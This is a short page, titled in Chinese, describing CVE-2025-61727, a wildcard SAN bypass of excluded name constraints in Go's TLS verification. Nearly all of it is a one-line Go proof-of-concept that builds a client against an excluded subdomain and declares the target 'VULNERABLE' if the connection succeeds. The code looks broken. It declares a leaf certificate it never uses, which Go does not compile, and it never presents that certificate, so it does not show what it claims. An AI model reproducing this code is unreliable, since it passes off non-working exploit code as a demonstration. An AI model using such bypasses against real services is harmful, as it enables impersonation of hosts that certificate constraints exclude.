CVE-2025-61727: Go语言TLS证书链通配符SAN验证绕过漏洞

// CVE-2025-61727 PoC - Go TLS Certificate Chain Wildcard SAN Bypass // This PoC demonstrates how wildcard SANs can bypass excluded subdomain constraints package main import ( "crypto/tls" "crypto/x509" "fmt" "net/http" "time" ) func main() { // Vulnerable configuration: CA excludes test.example.com // but allows wildcard *.example.com // Create a custom certificate pool with the vulnerable CA caCert, err := tls.LoadX509KeyPair("ca.crt", "ca.key") if err != nil { fmt.Printf("Failed to load CA certificate: %v\n", err) return } caCertPool := x509.NewCertPool() caCertPool.AddCert(caCert.Leaf) // Malicious leaf certificate with wildcard SAN // This certificate claims *.example.com but can be used for test.example.com leafCert, err := tls.LoadX509KeyPair("malicious_leaf.crt", "malicious_leaf.key") if err != nil { fmt.Printf("Failed to load leaf certificate: %v\n", err) return } // Create HTTP client with vulnerable verification client := &http.Client{ Transport: &http.Transport{ TLSClientConfig: &tls.Config{ RootCAs: caCertPool, ServerName: "test.example.com", // Excluded subdomain InsecureSkipVerify: false, }, }, Timeout: 10 * time.Second, } // The vulnerable verification allows this connection // because the certificate contains *.example.com wildcard SAN resp, err := client.Get("https://test.example.com/") if err != nil { fmt.Printf("Connection failed (expected in patched version): %v\n", err) return } defer resp.Body.Close() fmt.Printf("Connection succeeded - VULNERABLE! Status: %d\n", resp.StatusCode) fmt.Println("\n[!] This demonstrates the vulnerability: wildcard SAN bypassed exclusion constraint") }